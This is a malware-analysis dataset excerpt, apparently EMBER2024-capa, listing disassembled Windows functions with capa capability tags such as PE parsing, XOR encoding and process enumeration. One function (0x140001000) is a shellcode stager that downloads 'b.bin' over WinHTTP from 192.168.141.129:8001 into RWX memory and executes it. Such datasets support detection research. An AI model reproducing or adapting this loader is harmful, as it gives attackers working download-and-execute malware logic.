joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800240c4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800240f4
xor eax, eax
jmp 0x1800241b7
mov rbp, rbx
cmp word [rax], si
je 0x180024119
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180024100
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800240fc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18002280c
movsxd r14, eax
test eax, eax
jne 0x180024157
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800240ed
mov rcx, r14
call fcn.18001e088
mov rdi, rax
test rax, rax
jne 0x180024170
xor ecx, ecx
call fcn.18001d28c
jmp 0x18002414c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18002280c
test eax, eax
jne 0x1800241a1
mov rcx, rdi
call fcn.18001d28c
jmp 0x1800241ab
xor ecx, ecx
call fcn.18001d28c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x80
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x78], rax
movups xmm0, xmmword [str.192.168.141.129]
mov eax, dword [0x1400022b8]
xor ecx, ecx
movups xmm1, xmmword [0x1400022a0]
mov dword [rsp + 0x50], eax
mov edx, 0x1000
movzx eax, word [0x1400022bc]
mov r8d, 0x3000
movups xmmword [rsp + 0x58], xmm0
lea r9d, [rcx + 0x40]
mov word [rsp + 0x54], ax
movsd xmm0, qword [str._b.bin]
movsd qword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x68], xmm1
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r14d, r14d
lea rcx, str.Mozilla_4.0
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
xor edx, edx
mov rbp, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r8d, 0x1f41
lea rdx, [rsp + 0x58]
mov rcx, rax
xor r9d, r9d
mov rsi, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [rsp + 0x30], r14d
lea r8, [rsp + 0x48]
mov rcx, rax
mov qword [rsp + 0x28], r14
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea rdx, [0x1400022d8]
mov rdi, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x28], r14d
xor r8d, r8d
mov dword [rsp + 0x20], r14d
xor edx, edx
mov rbx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea r9, [rsp + 0x40]
mov r8d, 0x1000
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
call rbp
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140001190
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret

Function at 0x140001a6c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ab6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ab6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ab6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ab6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ab6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ab8
xor al, al
add rsp, 0x28
ret
Function at 0x6d86f1a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d8905e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d86f328
mov rax, qword [0x6d8905e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d86f1ec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d86f275
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d86f1d0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d86f35d
mov rax, qword [0x6d8905e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d8905e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d86f340
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d86f26e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d86f2d0
add dword [0x6d8905e4], 1
cmp edi, 8
jae 0x6d86f2a3
test dil, 4
jne 0x6d86f314
test edi, edi
je 0x6d86f298
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d86f32f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d86f298
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d86f2bc
jmp 0x6d86f298
add rsi, qword [0x6d8905e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d86f26e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d86f298
xor esi, esi
jmp 0x6d86f1f7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d86f298
mov rax, qword [0x6d8905e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d86fab0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d8908c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d8908a0]
test rbx, rbx
je 0x6d86fb04
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d86fafb
test rsi, rsi
je 0x6d86fafb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d86fae0
lea rcx, [0x6d8908c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d86fd40
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d86fd50
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d86fd60
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d86fda1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d86fd98
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d86fda3
add rax, 0x28
cmp rax, r9
jne 0x6d86fd84
xor eax, eax
ret

Function at 0x6d86fe40
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d88d1f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d86fead
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d86fead
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d86fead
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d86fea4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d86feaf
add rax, 0x28
cmp rax, r9
jne 0x6d86fe90
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d86ffb0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d88d1f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d86ffd0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d86ffc8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d87002d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d870024
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d870034
add rax, 0x28
cmp rax, r9
jne 0x6d870010
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d870050
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d88d1f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d8700be
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8700be
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d8700be
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d8700be
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d8700b5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d8700c5
add rcx, 0x28
cmp rcx, rax
jne 0x6d8700a0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d8700d8
jmp 0x6d8700be
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d8700e6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d8700be
test r9d, r9d
jg 0x6d8700d0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d870450
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140136e60
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x1404a9080]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rdx
xor esi, esi
call fcn.140134220
call fcn.1401340e0
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140136eca
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x140136ece
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140136f1f
call fcn.140134220
call fcn.1401340e0
nop dword [rax + rax]
lea rdx, [rsp + 0x4c]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x140136f06
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140136ee0
jmp 0x140136f0a
mov esi, dword [rsp + 0x28]
call fcn.140134220
call fcn.1401340e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14013c2a0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140136f50
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1404a9080]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rsi, r9
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov rdi, r8
mov dword [rsp + 0x40], 0
mov rcx, rdx
mov dword [rsp + 0x20], 2
mov edx, 0xc0000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov rcx, rax
mov r8d, esi
mov rdx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14013c2a0
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x140136ff0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x20
mov rdi, r9
mov rbp, r8
mov r12, rdx
call fcn.140134220
movsxd rax, dword [rsp + 0x60]
add rax, 0xfffffffffffffc00
add rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x140137118
mov r8, rdi
mov qword [rsp + 0x48], r15
mov rdx, rbp
mov rcx, rsi
call fcn.1402a59d0
xor r15d, r15d
mov r9d, 0xc2cb4c5e
mov r10d, r15d
test rdi, rdi
je 0x14013709a
nop word [rax + rax]
movzx r8d, byte [r10 + rsi]
mov edx, r9d
movzx ecx, r10b
shl r9d, 8
and cl, 3
or r9d, r8d
shl cl, 3
shr edx, cl
xor dl, r8b
mov byte [r10 + rsi], dl
inc r10
cmp r10, rdi
jb 0x140137070
cmp byte [rsp + 0x68], r15b
je 0x1401370ec
lea rbp, [rdi - 7]
mov rbx, r15
test rbp, rbp
je 0x1401370e2
mov qword [rsp + 0x40], r14
lea r14, [rbx + rsi]
mov r8d, 7
mov rcx, r14
lea rdx, str.OCWERSa
call fcn.1402b0bd0
test eax, eax
je 0x1401370d9
inc rbx
cmp rbx, rbp
jb 0x1401370b2
jmp 0x1401370dd
mov r15d, dword [r14 + 7]
mov r14, qword [rsp + 0x40]
test r15d, r15d
mov eax, r15d
cmovne rdi, rax
mov r9, rdi
mov r8, rsi
mov rdx, r12
call fcn.140136f50
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r15, qword [rsp + 0x48]
mov eax, 1
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r12
pop rdi
pop rsi
ret

Function at 0x1401371e0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0xa0
mov rax, qword [0x1404a9080]
xor rax, rsp
mov qword [rsp + 0x90], rax
movsxd r15, dword [rsp + 0xf0]
xor esi, esi
mov ebp, esi
mov r14d, esi
mov rdi, r9
mov rbx, rdx
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], sil
jne 0x140137221
test rax, rax
je 0x14013726e
mov rcx, rsi
movsxd rax, r14d
lea r8, [rsp + 0x20]
add r8, rax
lea rdx, str._2hhx
add rcx, rbx
call fcn.140134460
add ebp, 2
mov rax, 0xffffffffffffffff
inc r14d
movsxd rcx, ebp
nop dword [rax]
inc rax
cmp byte [rbx + rax], sil
jne 0x140137260
cmp rcx, rax
jb 0x140137232
lea rbp, [0x14037c7c0]
test r15d, r15d
jle 0x14013739f
Function at 0x140137950
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140137972
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x1401379ec
mov rdi, r14
mov rcx, rbx
call fcn.140138f00
test rax, rax
jle 0x1401379c4
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.1402a59d0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x1401379dc
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_getservbyport]
cmp eax, 0xffffffff
je 0x1401379e4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140137986
sub r14, rdi
jmp 0x140137acf
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140137a03
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140137a05
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140137a37
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1402a59d0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140137acc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140137a72
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x140137aad
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1402b1c88
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x140137acc
cmp rbp, rax
ja 0x140137a80
test rbp, rbp
je 0x140137acc
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1402b1c88
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x14013d038
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14013d082
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14013d082
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14013d082
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14013d082
cmp dword [rcx + 0x84], 0xe
jbe 0x14013d082
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14013d084
xor al, al
add rsp, 0x28
ret

Function at 0x140145580
Capabilities:
Set thread local storage value

Disassembly:
mov eax, 0x28
call fcn.14013cc70
sub rsp, rax
mov ecx, dword [rcx]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
add rsp, 0x28
ret
Function at 0x1401564a0
Capabilities:
Hash data using sha1

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, reloc.WS2_32.dll_WSASetLastError
call fcn.14013cc70
sub rsp, rax
mov rax, qword [0x1404a9080]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rdi, r9
mov rbx, rcx
cmp edx, 0x1d
je 0x1401564d7
mov eax, 0xfffffffe
jmp 0x1401565f7
test rbx, rbx
je 0x1401565f5
cmp r8d, 0x30
jne 0x1401565f5
mov r8d, gethostbyname
mov rdx, rdi
call fcn.140156380
test eax, eax
jle 0x1401565f5
movdqa xmm0, xmmword [str.6666666666666666_]
lea rdx, [rsp + 0x20]
mov r8d, 0x28
movq qword [rsp + 0x40], xmm0
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
call fcn.140156380
test eax, eax
je 0x1401565f5
mov rdx, rbx
lea rcx, [rsp + 0x48]
call fcn.140156180
test eax, eax
je 0x1401565f5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx + 0x14], xmm0
mov rdx, rdi
mov rcx, rbx
movups xmmword [rbx + 0x24], xmm0
lea r8d, [rax + 0x30]
movups xmmword [rbx + 0x34], xmm0
movups xmmword [rbx + 0x44], xmm0
mov qword [rbx + 0x54], rax
mov dword [rbx + 0x5c], eax
mov dword [rbx], 0x67452301
mov dword [rbx + 4], 0xefcdab89
mov dword [rbx + 8], 0x98badcfe
mov dword [rbx + 0xc], 0x10325476
mov dword [rbx + 0x10], 0xc3d2e1f0
call fcn.140156380
test eax, eax
jle 0x1401565f5
movdqa xmm0, xmmword [0x1402f54d0]
lea rdx, [rsp + 0x20]
mov r8d, 0x28
movq qword [rsp + 0x40], xmm0
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
call fcn.140156380
test eax, eax
je 0x1401565f5
mov r8d, shutdown
lea rdx, [rsp + 0x48]
mov rcx, rbx
call fcn.140156380
test eax, eax
je 0x1401565f5
mov edx, shutdown
lea rcx, [rsp + 0x48]
call fcn.140145a70
mov eax, 1
jmp 0x1401565f7
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14013c2a0
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x140157f20
Capabilities:
Encode data using xor

Disassembly:
xor r9b, r9b
mov r10, rdx
test r8, r8
je 0x140157f47
sub r10, rcx
nop
movzx edx, byte [r10 + rcx]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
xor dl, al
or r9b, dl
sub r8, 1
jne 0x140157f30
movzx eax, r9b
ret
Function at 0x140158b30
Capabilities:
Encode data using xor

Disassembly:
push rbx
mov eax, 0x20
call fcn.14013cc70
sub rsp, rax
mov rbx, r8
call fcn.140158d90
test eax, eax
js 0x140158d84
mov eax, dword [rbx + 0xf0]
shl eax, 2
movsxd r9, eax
test eax, eax
jle 0x140158bbd
lea r8, [rbx + 8]
xor r10d, r10d
lea r8, [r8 + r9*4]
lea rax, [rbx + 8]
nop
mov edx, dword [rax - 8]
add r10, 4
mov ecx, dword [r8 - 8]
lea r8, [r8 - 0x10]
mov dword [rax - 8], ecx
lea rax, [rax + 0x10]
mov ecx, dword [r8 + 0xc]
sub r9, 4
mov dword [r8 + 8], edx
mov edx, dword [rax - 0x14]
mov dword [rax - 0x14], ecx
mov ecx, dword [r8 + 0x10]
mov dword [r8 + 0xc], edx
mov edx, dword [rax - 0x10]
mov dword [rax - 0x10], ecx
mov ecx, dword [r8 + 0x14]
mov dword [r8 + 0x10], edx
mov edx, dword [rax - 0xc]
mov dword [rax - 0xc], ecx
mov dword [r8 + 0x14], edx
cmp r10, r9
jl 0x140158b70
mov r11d, 1
cmp dword [rbx + 0xf0], r11d
jle 0x140158d82
mov qword [rsp + 0x30], rdi
lea r10, [rbx + 4]
lea rdi, [0x140131000]
mov r9d, dword [r10 + 0x10]
lea r10, [r10 + 0x10]
mov edx, dword [r10 - 4]
inc r11d
movzx eax, byte [r10 - 3]
movzx ecx, byte [rdi + rax*4 + 0x1c48e0]
mov eax, edx
shr rax, 0x18
mov r8d, dword [rdi + rcx*4 + 0x1c5ce0]
movzx eax, byte [rdi + rax*4 + 0x1c48e0]
xor r8d, dword [rdi + rax*4 + 0x1c54e0]
movzx eax, dl
movzx ecx, byte [rdi + rax*4 + 0x1c48e0]
movzx eax, byte [r10 - 2]
xor r8d, dword [rdi + rcx*4 + 0x1c60e0]
movzx ecx, byte [rdi + rax*4 + 0x1c48e0]
mov eax, r9d
shr eax, 0x10
xor r8d, dword [rdi + rcx*4 + 0x1c58e0]
movzx ecx, al
mov eax, r9d
shr eax, 8
mov dword [r10 - 4], r8d
movzx edx, byte [rdi + rcx*4 + 0x1c48e0]
movzx ecx, al
mov r8d, dword [rdi + rdx*4 + 0x1c58e0]
movzx eax, byte [rdi + rcx*4 + 0x1c48e0]
xor r8d, dword [rdi + rax*4 + 0x1c5ce0]
mov eax, r9d
shr rax, 0x18
movzx ecx, byte [rdi + rax*4 + 0x1c48e0]
movzx eax, r9b
mov r9d, dword [r10 + 4]
xor r8d, dword [rdi + rcx*4 + 0x1c54e0]
movzx ecx, byte [rdi + rax*4 + 0x1c48e0]
mov eax, r9d
shr eax, 0x10
xor r8d, dword [rdi + rcx*4 + 0x1c60e0]
movzx ecx, al
mov eax, r9d
shr eax, 8
mov dword [r10], r8d
movzx edx, byte [rdi + rcx*4 + 0x1c48e0]
movzx ecx, al
mov r8d, dword [rdi + rdx*4 + 0x1c58e0]
movzx eax, byte [rdi + rcx*4 + 0x1c48e0]
xor r8d, dword [rdi + rax*4 + 0x1c5ce0]
mov eax, r9d
shr rax, 0x18
movzx ecx, byte [rdi + rax*4 + 0x1c48e0]
movzx eax, r9b
mov r9d, dword [r10 + 8]
xor r8d, dword [rdi + rcx*4 + 0x1c54e0]
movzx ecx, byte [rdi + rax*4 + 0x1c48e0]
mov eax, r9d
shr eax, 0x10
xor r8d, dword [rdi + rcx*4 + 0x1c60e0]
movzx ecx, al
mov eax, r9d
shr eax, 8
mov dword [r10 + 4], r8d
movzx edx, byte [rdi + rcx*4 + 0x1c48e0]
movzx ecx, al
mov r8d, dword [rdi + rdx*4 + 0x1c58e0]
movzx eax, byte [rdi + rcx*4 + 0x1c48e0]
xor r8d, dword [rdi + rax*4 + 0x1c5ce0]
mov eax, r9d
shr rax, 0x18
